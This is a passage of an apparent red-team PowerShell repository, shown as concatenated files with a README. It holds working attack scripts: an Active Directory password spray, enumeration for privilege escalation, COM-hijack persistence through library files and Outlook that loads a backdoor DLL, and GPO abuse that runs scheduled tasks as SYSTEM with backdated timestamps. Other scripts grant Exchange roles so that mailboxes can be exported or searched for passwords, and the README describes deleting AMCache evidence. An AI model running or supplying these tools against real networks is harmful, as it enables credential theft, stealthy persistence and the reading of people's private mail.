399 | # More precise LDAP filter UAC check for users that are disabled (Joff Thyer)
400 | # LDAP 1.2.840.113556.1.4.803 means bitwise &
401 | # uac 0x2 is ACCOUNTDISABLE
402 | # uac 0x10 is LOCKOUT
403 | # See http://jackstromberg.com/2013/01/useraccountcontrol-attributeflag-values/
404 | $UserSearcher.filter =
405 | "(&(objectCategory=person)(objectClass=user)(!userAccountControl:1.2.840.113556.1.4.803:=16)(!userAccountControl:1.2.840.113556.1.4.803:=2)$Filter)"
406 | }
407 | else
408 | {
409 | $UserSearcher.filter = "(&(objectCategory=person)(objectClass=user)$Filter)"
410 | }
411 |
412 | $UserSearcher.PropertiesToLoad.add("samaccountname") > $Null
413 | $UserSearcher.PropertiesToLoad.add("lockouttime") > $Null
414 | $UserSearcher.PropertiesToLoad.add("badpwdcount") > $Null
415 | $UserSearcher.PropertiesToLoad.add("badpasswordtime") > $Nulll
416 |
417 | #Write-Host $UserSearcher.filter
418 |
419 | # grab batches of 1000 in results
420 | $UserSearcher.PageSize = 1000
421 | $AllUserObjects = $UserSearcher.FindAll()
422 | Write-Host -ForegroundColor "yellow" ("[*] There are " + $AllUserObjects.count + " total users found.")
423 | $UserListArray = @()
424 |
425 | if ($RemovePotentialLockouts)
426 | {
427 | Write-Host -ForegroundColor "yellow" "[*] Removing users within 1 attempt of locking out from list."
428 | foreach ($user in $AllUserObjects)
429 | {
430 | # Getting bad password counts and lst bad password time for each user
431 | $badcount = $user.Properties.badpwdcount
432 | $samaccountname = $user.Properties.samaccountname
433 | try
434 | {
435 | $badpasswordtime = $user.Properties.badpasswordtime[0]
436 | }
437 | catch
438 | {
439 | continue
440 | }
441 | $currenttime = Get-Date
442 | $lastbadpwd = [DateTime]::FromFileTime($badpasswordtime)
443 | $timedifference = ($currenttime - $lastbadpwd).TotalMinutes
444 |
445 | if ($badcount)
446 | {
447 | [int]$userbadcount = [convert]::ToInt32($badcount, 10)
448 | $attemptsuntillockout = $SmallestLockoutThreshold - $userbadcount
449 | # if there is more than 1 attempt left before a user locks out
450 | # or if the time since the last failed login is greater than the domain
451 | # observation window add user to spray list
452 | if (($timedifference -gt $observation_window) -or ($attemptsuntillockout -gt 1))
453 | {
454 | $UserListArray += $samaccountname
455 | }
456 | }
457 | }
458 | }
459 | else
460 | {
461 | foreach ($user in $AllUserObjects)
462 | {
463 | $samaccountname = $user.Properties.samaccountname
464 | $UserListArray += $samaccountname
465 | }
466 | }
467 |
468 | Write-Host -foregroundcolor "yellow" ("[*] Created a userlist containing " + $UserListArray.count + " users gathered from the current user's domain")
469 | return $UserListArray
470 | }
471 |
472 | function Invoke-SpraySinglePassword
473 | {
474 | param(
475 | [Parameter(Position=1)]
476 | $Domain,
477 | [Parameter(Position=2)]
478 | [string[]]
479 | $UserListArray,
480 | [Parameter(Position=3)]
481 | [string]
482 | $Password,
483 | [Parameter(Position=4)]
484 | [string]
485 | $OutFile,
486 | [Parameter(Position=5)]
487 | [int]
488 | $Delay=0,
489 | [Parameter(Position=6)]
490 | [double]
491 | $Jitter=0,
492 | [Parameter(Position=7)]
493 | [switch]
494 | $UsernameAsPassword
495 | )
496 | $time = Get-Date
497 | $count = $UserListArray.count
498 | Write-Host "[*] Now trying password $Password against $count users. Current time is $($time.ToShortTimeString())"
499 | $curr_user = 0
500 | Write-Host -ForegroundColor Yellow "[*] Writing successes to $OutFile"
501 | $RandNo = New-Object System.Random
502 |
503 | foreach ($User in $UserListArray)
504 | {
505 | if ($UsernameAsPassword)
506 | {
507 | $Password = $User
508 | }
509 | $Domain_check = New-Object System.DirectoryServices.DirectoryEntry($Domain,$User,$Password)
510 | if ($Domain_check.name -ne $null)
511 | {
512 | if ($OutFile -ne "")
513 | {
514 | Add-Content $OutFile $User`:$Password
515 | }
516 | Write-Host -ForegroundColor Green "[*] SUCCESS! User:$User Password:$Password"
517 | }
518 | $curr_user += 1
519 | Write-Host -nonewline "$curr_user of $count users tested`r"
520 | if ($Delay)
521 | {
522 | Start-Sleep -Seconds $RandNo.Next((1-$Jitter)*$Delay, (1+$Jitter)*$Delay)
523 | }
524 | }
525 |
526 | }
527 |
528 | #function Get-ObservationWindow()
529 | #{
530 | # Get account lockout observation window to avoid running more than 1
531 | # password spray per observation window.
532 | # $command = "cmd.exe /C net accounts /domain"
533 | # $net_accounts_results = Invoke-Expression -Command:$command
534 | # $stripped_policy = ($net_accounts_results | Where-Object {$_ -like "*Lockout Observation Window*"})
535 | # $stripped_split_a, $stripped_split_b = $stripped_policy.split(':',2)
536 | # $observation_window_no_spaces = $stripped_split_b -Replace '\s+',""
537 | # [int]$observation_window = [convert]::ToInt32($observation_window_no_spaces, 10)
538 | # return $observation_window
539 | #}
540 |
541 |
--------------------------------------------------------------------------------
/Invoke-Enumeratefile.ps1:
--------------------------------------------------------------------------------
1 | function Invoke-Enumeratefile
2 | {
3 | <#
4 | .SYNOPSIS
5 | Enumerate all the files under c:\Windows that the permission of NT AUTHORITY\SYSTEM is full control.
6 | We can use the task scheduler to write an arbitrary DACL to the file and then we can modify the files with normal user permissions.
7 | This script will enumerate all the files you can take control over.
8 |
9 | .LINK
10 | https://github.com/SandboxEscaper/randomrepo/blob/master/PoC-LPE.rar
11 |
12 | .PARAMETER SearchType
13 | Specifies the file byte to search.
14 |
15 | .EXAMPLE
16 | PS C:\> Invoke-Enumeratefile -SearchType exe
17 | PS C:\> Invoke-Enumeratefile -SearchType dll
18 | #>
19 |
20 | param (
21 | [Parameter(Mandatory = $True)]
22 | [string]$SearchType
23 | )
24 |
25 | #eg. search *.exe
26 | $Type = "*." + $SearchType
27 | $aapsid = 'NT AUTHORITY\SYSTEM'
28 | ForEach($file in (Get-ChildItem -recurse -Filter $Type -Path 'C:\windows' -ErrorAction SilentlyContinue ))
29 | {
30 | $acl = Get-Acl -path $file.PSPath
31 | ForEach($ace in $acl.Access)
32 | {
33 | If(($ace.FileSystemRights -eq [Security.AccessControl.FileSystemRights]::FullControl) -and $ace.IdentityReference.Value -eq $aapsid)
34 | {
35 | Write-Output $file.PSPath.Substring(38)
36 | }
37 | }
38 | }
39 | }
40 | Invoke-Enumeratefile -SearchType exe
41 |
--------------------------------------------------------------------------------
/Invoke-LibraryFilesPersistence.ps1:
--------------------------------------------------------------------------------
1 | function Invoke-LibraryFilesPersistence
2 | {
3 | <#
4 | .SYNOPSIS
5 | First modify the registry and then create a file named Documents.library-ms in %appdata%\Microsoft\Windows\Start Menu\Programs\Accessories.
6 | It'll load c:\test\calc.dll on start-up.
7 | Author: 3gstudent
8 | Reference:
9 | https://www.countercept.com/blog/abusing-windows-library-files-for-persistence/
10 | #>
11 | $clsid = "{11111111-1111-1111-1111-111111111111}"
12 | $outpath = $env:appdata+"\Microsoft\Windows\Start Menu\Programs\Accessories\"+"Documents.library-ms"
13 | $payload = "c:\test\calc.dll"
14 | $xml = @"
15 |
16 |
17 | @shell32.dll,-34575
18 |
19 | 6
20 | true
21 | imageres.dll,-1002
22 |
23 | {7d49d726-3c21-4f05-99aa-fdc2c9474656}
24 |
25 |
26 |
27 | @shell32.dll,-34577
28 | true
29 | true
30 |
31 | shell:::$clsid
32 |
33 |
34 |
35 |
36 | "@
37 | $xml| Out-File $outpath -encoding utf8
38 | $RegKey = "HKCU:\Software\Classes\CLSID\$clsid\"
39 | New-Item -type Directory $RegKey
40 | New-Item -type Directory $RegKey"InProcServer32"
41 | New-Item -type Directory $RegKey"ShellFolder"
42 | New-ItemProperty -path $RegKey"InProcServer32" -name "(default)" -value $payload -propertyType string
43 | New-ItemProperty $RegKey"InProcServer32" -name "ThreadingModel" -value "Apartment" -propertyType string
44 | New-ItemProperty $RegKey"ShellFolder" -name "Attributes" -value 0xf090013d -propertyType dword
45 | }
46 | Invoke-LibraryFilesPersistence
47 |
48 |
49 |
--------------------------------------------------------------------------------
/Invoke-OutlookPersistence.ps1:
--------------------------------------------------------------------------------
1 | function Invoke-OutlookPersistence
2 | {
3 | <#
4 | .SYNOPSIS
5 | This script allows you to use COM Object hijacking to maintain persistence.
6 | When the Outlook starts,it will load the backdoor DLL.
7 | This method is first used by Turla in public.
8 | Learn from:https://www.welivesecurity.com/wp-content/uploads/2018/08/Eset-Turla-Outlook-Backdoor.pdf
9 | Code by: 3gstudent@3gstudent
10 | License: BSD 3-Clause
11 | Support x86 and x64 system.
12 |
13 | .PARAMETER DLLPath
14 | Specifies the path of the backdoor DLL.
15 | .EXAMPLE
16 | PS C:\> Invoke-OutlookPersistence -DLLPath c:\test\calc.dll
17 | #>
18 |
19 | param (
20 | [Parameter(Mandatory = $True)]
21 | [string]$DLLPath
22 | )
23 |
24 | $OfficePath = "C:\Program Files\Microsoft Office\"+"Office*"
25 |
26 | Try
27 | {
28 | $OfficeVersion=dir -name $OfficePath -ErrorAction Stop
29 | $Ver=$OfficeVersion.Substring( $OfficeVersion.LastIndexOf("e")+1 )
30 | Write-Host "[+] Microsoft Office Version:" $Ver
31 | }
32 | Catch
33 | {
34 | Write-Host "[!] I can't find Microsoft Office!"
35 | Write-Host "[+] Please reset a correct path."
36 | return
37 | }
38 | if ([IntPtr]::Size -eq 8)
39 | {
40 | Write-Host "[+] OS: x64"
41 |
42 | Try
43 | {
44 | $OfficeMainPath=$OfficePath.Substring(0,$OfficePath.LastIndexOf("\")+1)+"MEDIA"
45 | dir $OfficeMainPath -ErrorAction Stop | Out-Null
46 | Write-Host "[+] Microsoft Office bit: 64-bit"
47 | $RegPath="HKCU:Software\Classes\CLSID\"
48 | }
49 | Catch
50 | {
51 | Write-Host "[+] Microsoft Office bit: 32-bit"
52 | $RegPath="HKCU:Software\Classes\Wow6432Node\CLSID\"
53 | }
54 | }
55 | else
56 | {
57 | Write-Host "[+] OS: x86"
58 | $RegPath="HKCU:Software\Classes\CLSID\"
59 | }
60 | Write-Host "[*] Modifying registry...$RegPath"
61 |
62 |
63 | New-Item -type Directory $RegPath"{49CBB1C7-97D1-485A-9EC1-A26065633066}" | Out-Null
64 | New-Item -type Directory $RegPath"{49CBB1C7-97D1-485A-9EC1-A26065633066}\InprocServer32" | Out-Null
65 | New-Item -type Directory $RegPath"{84DA0A92-25E0-11D3-B9F7-00C04F4C8F5D}" | Out-Null
66 | New-Item -type Directory $RegPath"{84DA0A92-25E0-11D3-B9F7-00C04F4C8F5D}\TreatAs" | Out-Null
67 | New-ItemProperty $RegPath"{49CBB1C7-97D1-485A-9EC1-A26065633066}" "(default)" -value "Mail Plugin" -propertyType string | Out-Null
68 |
69 | New-ItemProperty $RegPath"{49CBB1C7-97D1-485A-9EC1-A26065633066}\InprocServer32" "(default)" -value $DLLPath -propertyType string | Out-Null
70 | New-ItemProperty $RegPath"{49CBB1C7-97D1-485A-9EC1-A26065633066}\InprocServer32" ThreadingModel -value "Apartment" -propertyType string | Out-Null
71 | New-ItemProperty $RegPath"{84DA0A92-25E0-11D3-B9F7-00C04F4C8F5D}\TreatAs" "(default)" -value "{49CBB1C7-97D1-485A-9EC1-A26065633066}" -propertyType string | Out-Null
72 | Write-Host "[+] Done."
73 | }
74 |
--------------------------------------------------------------------------------
/New-GPOImmediateTask.ps1:
--------------------------------------------------------------------------------
1 | #requires -version 2
2 |
3 | <#
4 | New-GPOImmediateTask.ps1
5 | Author: 3gstudent(@3gstudent)
6 | License: BSD 3-Clause
7 | Required Dependencies: None
8 | Optional Dependencies: None
9 | Reference:http://www.harmj0y.net/blog/redteaming/abusing-gpo-permissions/
10 | Maybe I can solve the bug in harmj0y' blog.
11 | Need more test.
12 | #>
13 |
14 | function New-GPOImmediateTask {
15 | <#
16 | .SYNOPSIS
17 | Builds an 'Immediate' schtask to push out through a specified GPO.
18 | Because I haven't found out how to register the 'Immediate' schtask yet.
19 | So I have to backup the gpo,then modify the Backup.xml and gpreport.xml,and finally import the gpo.
20 |
21 | (1)Create a gpo
22 | new-gpo -name TestGPO | new-gplink -Target "dc=test,dc=com"
23 | (2)Use New-GPOImmediateTask.ps1 to backup the gpo into the current path,modify the Backup.xml and gpreport.xml and finally import the gpo
24 | New-GPOImmediateTask -TaskName Debugging -GPODisplayName TestGPO -SysPath '\\dc.test.com\sysvol\test.com' -CommandArguments '-c "123 | Out-File C:\test\debug.txt"'
25 | (3)You can force the client to refresh the gpo:
26 | Invoke-GPUpdate -Computer "TEST\COMPUTER-01"
27 | Or you can wait 90 minutes,the client's gpo will refresh automatically.
28 |
29 | .PARAMETER TaskName
30 | Name for the schtask to create. Required.
31 | .PARAMETER GPODisplayName
32 | The GPO display name to build the task for. Required.
33 | .PARAMETER SysPath
34 | '\\\SYSVOL\'. Required.
35 | .PARAMETER Command
36 | The command to execute with the task, defaults to 'powershell'. Required.
37 | .PARAMETER CommandArguments
38 | The arguments to supply to the -Command being launched. Required.
39 |
40 | .EXAMPLE
41 | PS> New-GPOImmediateTask -TaskName Debugging -GPODisplayName TestGPO -SysPath '\\dc.test.com\sysvol\test.com' -CommandArguments '-c "123 | Out-File C:\test\debug.txt"'
42 | Create an immediate schtask(Debugging) of the GPO(TestGPO) that executes the specified PowerShell arguments.
43 | #>
44 | [CmdletBinding()]
45 |
46 | Param (
47 | [Parameter(Mandatory = $True)]
48 | [String]
49 | [ValidateNotNullOrEmpty()]
50 | $TaskName,
51 |
52 | [String]
53 | [ValidateNotNullOrEmpty()]
54 | $SysPath,
55 |
56 | [String]
57 | [ValidateNotNullOrEmpty()]
58 | $Command = 'powershell',
59 |
60 | [String]
61 | [ValidateNotNullOrEmpty()]
62 | $CommandArguments,
63 |
64 | [String]
65 | $GPODisplayName
66 | )
67 |
68 | $TaskAuthor = 'NT AUTHORITY\System'
69 | $TaskModifiedDate = (Get-Date (Get-Date).AddDays(-30) -Format u).trim("Z")
70 |
71 | Write-Host "[*] TaskName: "$TaskName
72 | Write-Host "[*] GPODisplayName: "$GPODisplayName
73 | Write-Host "[*] SysPath: "$SysPath
74 | Write-Host "[*] Command: "$Command
75 | Write-Host "[*] CommandArguments:"$CommandArguments
76 | Write-Host "[*] TaskModifiedDate:"$TaskModifiedDate
77 |
78 | Write-Host "`n[+] Start to import the module"
79 | Import-Module GroupPolicy
80 |
81 | Write-Host "`n[+] Start to backup the GPO"
82 | $Command1 = (Backup-Gpo -Name $GPODisplayName -Path "./")
83 | $Command1 | Out-Null
84 | $BackupId = $Command1.Id
85 | $GpoId = $Command1.GpoId
86 | $BackupFolder = ('{' + $Command1.Id + '}').ToUpper()
87 | Write-Host "[*] BackupId:"$BackupId
88 | Write-Host "[*] GpoId:"$GpoId
89 |
90 | Write-Host "`n[+] Start to modify Backup.xml"
91 |
92 | $BackupxmlPath = "./" + $BackupFolder + "/Backup.xml"
93 | Write-Host "[*] BackupxmlPath: "(Resolve-Path $BackupxmlPath).Path
94 |
95 | $GpreportPath = "./" + $BackupFolder + "/gpreport.xml"
96 |
97 | $Content1 = [IO.file]::ReadAllText($BackupxmlPath)
98 |
99 | $String1 = ""
100 | $String2 = ""
101 |
102 | $Content1 = $Content1.replace($String1,$String2)
103 |
104 | $String3 = 'bkp:DescName="Unknown Extension">'
105 |
106 | $String3 = $String3.replace("\\dc.test.com\sysvol\test.com",$SysPath)
107 | $String3 = $String3.replace("2DA44238-84D1-4AAC-A3A1-42FE8EB1B4BD",$GPOId)
108 |
109 | $Content1 = $Content1.replace('bkp:DescName="Unknown Extension"/>',$String3)
110 | $Content1 | Set-Content -Encoding ASCII -Path $BackupxmlPath
111 |
112 | if(!(Test-Path $GpreportPath))
113 | {
114 |
115 | Write-Host "[!] There is no gpreport.xml"
116 | Write-Host "`n[+] Start to export the gpreport.xml"
117 | Get-GPOReport -Name $GPODisplayName -ReportType XML -Path $GpreportPath
118 | }
119 |
120 | Write-Host "[*] GpreportPath : "(Resolve-Path $GpreportPath).Path
121 |
122 | Write-Host "`n[+] Start to modify gpreport.xml"
123 |
124 | $Content2 = [IO.file]::ReadAllText($GpreportPath)
125 |
126 | $Content2 = $Content2.replace("0","6")
127 | $Content2 = $Content2.replace("0","6")
128 |
129 | $Newguid = [guid]::NewGuid()
130 |
131 | $tempdata1 = @"
132 | true
133 |
134 |
135 |
136 |
137 | 1
138 |
139 |
140 |
141 | NT AUTHORITY\System
142 |
143 |
144 |
145 |
146 | true
147 | %LocalTimeXmlEx%
148 | %LocalTimeXmlEx%
149 |
150 |
151 |
152 | false
153 | false
154 | true
155 | false
156 | true
157 | true
158 | true
159 | PT0S
160 | IgnoreNew
161 | 7
162 | PT0S
163 |
164 | PT10M
165 | PT1H
166 | true
167 | false
168 |
169 |
170 | PT15M
171 | 3
172 |
173 |
174 |
175 |
176 | NT AUTHORITY\System
177 | InteractiveToken
178 | HighestAvailable
179 |
180 |
181 |
182 |
183 | powershell
184 | -c "123 | Out-File C:\test\debugaa.txt"
185 |
186 |
187 |
188 |
189 |
190 |
191 |
192 |
193 | Scheduled Tasks
194 |
195 |
196 | "@
197 |
198 | $tempdata1 = $tempdata1.replace("Debugging",$TaskName)
199 | $tempdata1 = $tempdata1.replace("2018-11-11 11:11:11",$TaskModifiedDate)
200 | $tempdata1 = $tempdata1.replace("{C3030B43-D3F5-480C-9393-7E252EBA6229}",$Newguid)
201 | $tempdata1 = $tempdata1.replace("powershell",$Command)
202 | $tempdata1 = $tempdata1.replace('-c "123 | Out-File C:\test\debug.txt"',$CommandArguments)
203 |
204 | $Content2 = $Content2.replace("",$tempdata1)
205 |
206 | $Content2 | Set-Content -Encoding Unicode -Path $GpreportPath
207 |
208 | Write-Host "`n[+] Start to generate ScheduledTasks.xml"
209 |
210 | $TaskXML = ''+$TaskAuthor+''+$TaskDescription+'NT AUTHORITY\SystemHighestAvailableInteractiveTokenPT10MPT1HtruefalseIgnoreNewfalsetruefalsetruefalsetruetruePT0S7PT0SPT15M3'+$Command+''+$CommandArguments+'%LocalTimeXmlEx%%LocalTimeXmlEx%true'
211 |
212 | $TaskXMLParentPath = './' + '/{' + $BackupId + '}/DomainSysvol/GPO/User/Preferences/ScheduledTasks'
213 | md $TaskXMLParentPath -ErrorAction SilentlyContinue | Out-Null
214 | $TaskXMLPath = $TaskXMLParentPath + '/ScheduledTasks.xml'
215 |
216 | $TaskXML | Set-Content -Encoding ASCII -Path $TaskXMLPath
217 |
218 | Write-Host "`n[+] Start to import the gpo"
219 |
220 | Import-GPO -BackupId $BackupId -TargetName $GPODisplayName -Path (Resolve-Path './').Path | Out-Null
221 |
222 | Write-Host "`n[+] All done."
223 | Write-Host "`n[+] Remember to clearn:"(Resolve-Path ("./" + $BackupFolder)).Path
224 | }
225 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # Homework-of-Powershell
2 | powershell codes of my blog.
3 |
4 | ### Invoke-Enumeratefile.ps1
5 |
6 | Enumerate all the files under `c:\Windows` that the permission of NT AUTHORITY\SYSTEM is full control.
7 |
8 | We can use the task scheduler to write an arbitrary DACL to the file and then we can modify the files with normal user permissions.
9 |
10 | This script will enumerate all the files you can take control over.
11 |
12 | ### Invoke-LibraryFilesPersistence.ps1
13 |
14 | First modify the registry and then create a file named Documents.library-ms in %appdata%\Microsoft\Windows\Start Menu\Programs\Accessories.
15 |
16 | It'll load c:\test\calc.dll on start-up.
17 |
18 | ### Delete-Amcache.ps1
19 |
20 | This script loads the AMCache hive from the default Windows location and delete the seleted data.
21 | You can use Get-Amcache.ps1 to list the data of AMCache hive,then use this to delete the seleted data.
22 | The new AMCache hive will be saved as new.hve
23 |
24 | Get-Amcache.ps1:https://github.com/yoda66/GetAmCache/blob/master/Get-Amcache.ps1
25 |
26 | ### New-GPOImmediateTask.ps1
27 |
28 | Builds an 'Immediate' schtask to push out through a specified GPO.
29 |
30 | Because I haven't found out how to register the 'Immediate' schtask yet.
31 |
32 | So I have to backup the gpo,then modify the Backup.xml and gpreport.xml,and finally import the gpo.
33 |
34 | (1)Create a gpo
35 | new-gpo -name TestGPO | new-gplink -Target "dc=test,dc=com"
36 | (2)Use New-GPOImmediateTask.ps1 to backup the gpo into the current path,modify the Backup.xml and gpreport.xml and finally import the gpo
37 | New-GPOImmediateTask -TaskName Debugging -GPODisplayName TestGPO -SysPath '\\dc.test.com\sysvol\test.com' -CommandArguments '-c "123 | Out-File C:\test\debug.txt"'
38 | (3)You can force the client to refresh the gpo:
39 | Invoke-GPUpdate -Computer "TEST\COMPUTER-01"
40 | Or you can wait 90 minutes,the client's gpo will refresh automatically.
41 |
42 | ### dns-dump.ps1
43 |
44 | Dump all the DNS records via AD LDAP and DNS query when you can access the Active Directory.
45 |
46 | ### Invoke-OutlookPersistence.ps1
47 |
48 | This script allows you to use COM Object hijacking to maintain persistence.
49 |
50 | When the Outlook starts,it will load the backdoor DLL.
51 |
52 | This method is first used by Turla in public.
53 |
54 | Learn from:https://www.welivesecurity.com/wp-content/uploads/2018/08/Eset-Turla-Outlook-Backdoor.pdf
55 |
56 | ### Get-AllExports.ps1
57 |
58 | Reference:
59 |
60 | https://github.com/FuzzySecurity/PowerShell-Suite/blob/master/Get-Exports.ps1
61 |
62 | This script is mainly used to automatically scan whether the export function of DLL in the specified directory contains "minidump" or not.
63 |
64 | ### UsePSSessionToExportMailfromExchange.ps1
65 |
66 | This script will export the mail(.pst) from the Exchange server.
67 |
68 | First it will use PSSession to connect the Exchange server.
69 |
70 | Then it'll check the user's privilege.
71 |
72 | If the user is not in the "Mailbox Import Export",the script will add the user to it and reconnect the Exchange server..
73 |
74 | Next it will export the mail and save it.
75 |
76 | At last it will remove the user from the group and remove the PSSession.
77 |
78 | ### DirectExportMailfromExchange.ps1
79 |
80 | This script will export the mail(.pst) from the Exchange server.
81 |
82 | The script needs to be executed on the Exchange server.
83 |
84 | ### UsePSSessionToSearchMailfromExchange.ps1
85 |
86 | This script will search the mail from the Exchange server and export the results to the selected mailbox.
87 |
88 | First it will use PSSession to connect the Exchange server.
89 |
90 | Then it'll check the user's privilege.
91 |
92 | If the user is not in the "Mailbox Search",the script will add the user to it and reconnect the Exchange server.
93 |
94 | Next it will search the mail from the Exchange server and export the results to the selected mailbox.
95 |
96 | At last it will remove the user from the group and remove the PSSession.
97 |
98 | ### DirectSearchMailfromExchange.ps1
99 |
100 | This script will search the mail from the Exchange server and export the results to the selected mailbox.
101 |
102 | The script needs to be executed on the Exchange server.
103 |
104 | ### Invoke-DomainPasswordSprayOutsideTheDomain.ps1
105 |
106 | This module performs a password spray attack against users of a domain.
107 |
108 | Note:
109 | It only works outside the domain environment.
110 |
111 | When you are in the domain environment,you can use the original file([Invoke-DomainPasswordSpray](https://github.com/dafthack/DomainPasswordSpray)).
112 |
113 | Source:https://github.com/dafthack/DomainPasswordSpray
114 |
--------------------------------------------------------------------------------
/UsePSSessionToExportMailfromExchange.ps1:
--------------------------------------------------------------------------------
1 | function UsePSSessionToExportMailfromExchange
2 | {
3 | #Requires -Version 2.0
4 | <#
5 | .SYNOPSIS
6 | This script will export the mail(.pst) from the Exchange server.
7 | First it will use PSSession to connect the Exchange server.
8 | Then it'll check the user's privilege.
9 | If the user is not in the "Mailbox Import Export",the script will add the user to it and reconnect the Exchange server.
10 | Next it will export the mail and save it.
11 | At last it will remove the user from the group and remove the PSSession.
12 | Author: 3gstudent
13 | .PARAMETER User
14 | The user to use.
15 | In general, you can choose the account in the domain admins.
16 | .PARAMETER Password
17 | The password of the user.
18 | .PARAMETER MailBox
19 | The mail you want to export.
20 | .PARAMETER ExportPath
21 | The export path of the mail.
22 | .PARAMETER ConnectionUri
23 | The uri of the Exchange server.
24 | Eg.
25 | http://Exchange01.test.com/PowerShell/
26 |
27 | .PARAMETER $Filter
28 | The search filter of the mail.
29 | .EXAMPLE
30 | PS C:\> UsePSSessionToExportMailfromExchange -User "administrator" -Password "DomainAdmin123!" -MailBox "test1" -ExportPath "\\Exchange01.test.com\c$\test\" -ConnectionUri "http://Exchange01.test.com/PowerShell/" -Filter "{`"(body -like `"*pass*`")`"}"
31 | #>
32 | param (
33 | [Parameter(Mandatory = $True)]
34 | [string]$User,
35 | [Parameter(Mandatory = $True)]
36 | [string]$Password,
37 | [Parameter(Mandatory = $True)]
38 | [string]$MailBox,
39 | [Parameter(Mandatory = $True)]
40 | [string]$ExportPath,
41 | [Parameter(Mandatory = $True)]
42 | [string]$ConnectionUri,
43 | [Parameter(Mandatory = $True)]
44 | [string]$Filter
45 | )
46 | $Flag = 0
47 | Write-Host "[>] Start to Import-PSSession"
48 | #Import-PSSession
49 | $Pass = ConvertTo-SecureString -AsPlainText $Password -Force
50 | $Credential = New-Object System.Management.Automation.PSCredential -ArgumentList $User,$Pass
51 | $Session = New-PSSession -ConfigurationName Microsoft.Exchange -ConnectionUri $ConnectionUri -Authentication Kerberos -Credential $Credential
52 | Import-PSSession $Session -AllowClobber| Out-Null
53 |
54 | Write-Host "[>] Start to check user"
55 | #check user
56 | if(Get-ManagementRoleAssignment ("Mailbox Import Export-"+$User) -ErrorAction SilentlyContinue)
57 | {
58 | Write-Host "[!] The specified user already exists.No need to add it to the group"
59 | $Flag = 1
60 | }
61 | else
62 | {
63 | Write-Host "[+] Start to add user"
64 | #Add user
65 | New-ManagementRoleAssignment –Role "Mailbox Import Export" –User $User| Out-Null
66 | Write-Host "[>] Start to reconnect"
67 | #Reconnect
68 | Remove-PSSession $Session
69 | $Session = New-PSSession -ConfigurationName Microsoft.Exchange -ConnectionUri $ConnectionUri -Authentication Kerberos -Credential $Credential
70 | Import-PSSession $Session -AllowClobber| Out-Null
71 | }
72 | Write-Host "[+] Start to export mail"
73 | #Export mail and do not save the export request
74 | New-MailboxexportRequest -mailbox $MailBox -ContentFilter $Filter -FilePath ($ExportPath+$MailBox+".pst") -CompletedRequestAgeLimit 0
75 |
76 | if ($Flag = 0)
77 | {
78 | Write-Host "[>] Start to remove user"
79 | #Remove user
80 | Get-ManagementRoleAssignment ("Mailbox Import Export-"+$User) |Remove-ManagementRoleAssignment -Confirm:$false
81 | }
82 |
83 | Write-Host "[>] Start to Remove-PSSession"
84 | #Remove PSSession
85 | Remove-PSSession $Session
86 | Write-Host "[+] All done."
87 | }
88 |
--------------------------------------------------------------------------------
/UsePSSessionToSearchMailfromExchange.ps1:
--------------------------------------------------------------------------------
1 | function UsePSSessionToSearchMailfromExchange
2 | {
3 | #Requires -Version 2.0
4 | <#
5 | .SYNOPSIS
6 | This script will search the mail from the Exchange server and export the results to the selected mailbox.
7 | First it will use PSSession to connect the Exchange server.
8 | Then it'll check the user's privilege.
9 | If the user is not in the "Mailbox Search",the script will add the user to it and reconnect the Exchange server.
10 | Next it will search the mail from the Exchange server and export the results to the selected mailbox.
11 | At last it will remove the user from the group and remove the PSSession.
12 |
13 | Author: 3gstudent
14 |
15 | .PARAMETER User
16 | The user to use.
17 | In general, you can choose the account in the domain admins.
18 |
19 | .PARAMETER Password
20 | The password of the user.
21 |
22 | .PARAMETER MailBox
23 | The mail you want to search.
24 | If you set it as 'All',it will search all the mailbox.
25 |
26 | .PARAMETER ConnectionUri
27 | The uri of the Exchange server.
28 | Eg.
29 | http://Exchange01.test.com/PowerShell/
30 |
31 | .PARAMETER Filter
32 | The search filter of the mail.
33 |
34 | .PARAMETER TargetMailbox
35 | The mailbox of the results will be export.
36 |
37 | .PARAMETER TargetFolder
38 | The folder of the targetmailbox.
39 |
40 | .EXAMPLE
41 | PS C:\> UsePSSessionToSearchMailfromExchange -User "administrator" -Password "DomainAdmin123!" -MailBox "test1" -ConnectionUri "http://Exchange01.test.com/PowerShell/" -Filter "*pass*" -TargetMailbox "test2" -TargetFolder "out2"
42 | or
43 | PS C:\> UsePSSessionToSearchMailfromExchange -User "administrator" -Password "DomainAdmin123!" -MailBox "All" -ConnectionUri "http://Exchange01.test.com/PowerShell/" -Filter "*pass*" -TargetMailbox "test2" -TargetFolder "outAll"
44 |
45 | #>
46 | param (
47 | [Parameter(Mandatory = $True)]
48 | [string]$User,
49 | [Parameter(Mandatory = $True)]
50 | [string]$Password,
51 | [Parameter(Mandatory = $True)]
52 | [string]$MailBox,
53 | [Parameter(Mandatory = $True)]
54 | [string]$ConnectionUri,
55 | [Parameter(Mandatory = $True)]
56 | [string]$Filter,
57 | [Parameter(Mandatory = $True)]
58 | [string]$TargetMailbox,
59 | [Parameter(Mandatory = $True)]
60 | [string]$TargetFolder
61 | )
62 | $Flag = 0
63 | Write-Host "[>] Start to Import-PSSession"
64 | #Import-PSSession
65 | $Pass = ConvertTo-SecureString -AsPlainText $Password -Force
66 | $Credential = New-Object System.Management.Automation.PSCredential -ArgumentList $User,$Pass
67 | $Session = New-PSSession -ConfigurationName Microsoft.Exchange -ConnectionUri $ConnectionUri -Authentication Kerberos -Credential $Credential
68 | Import-PSSession $Session -AllowClobber| Out-Null
69 |
70 | Write-Host "[>] Start to check user"
71 | #check user
72 | if(Get-ManagementRoleAssignment ("Mailbox Search-"+$User) -ErrorAction SilentlyContinue)
73 | {
74 | Write-Host "[!] The specified user already exists.No need to add it to the group"
75 | $Flag = 1
76 | }
77 | else
78 | {
79 | Write-Host "[+] Start to add user"
80 | #Add user
81 | New-ManagementRoleAssignment –Role "Mailbox Search" –User $User| Out-Null
82 | Write-Host "[>] Start to reconnect"
83 | #Reconnect
84 | Remove-PSSession $Session
85 | $Session = New-PSSession -ConfigurationName Microsoft.Exchange -ConnectionUri $ConnectionUri -Authentication Kerberos -Credential $Credential
86 | Import-PSSession $Session -AllowClobber| Out-Null
87 | }
88 | Write-Host "[+] Start to search mail and export the results to the selectd mailbox"
89 | #Searche mail and export the results to the selectd mailbox
90 | if($MailBox -eq "all")
91 | {
92 | Write-Host "[!] It will search from all the mailbox,it may be a long time."
93 | Get-Mailbox|Search-Mailbox -SearchQuery $Filter -TargetMailbox $TargetMailbox -TargetFolder $TargetFolder -LogLevel Suppress| Out-Null
94 | }
95 | else
96 | {
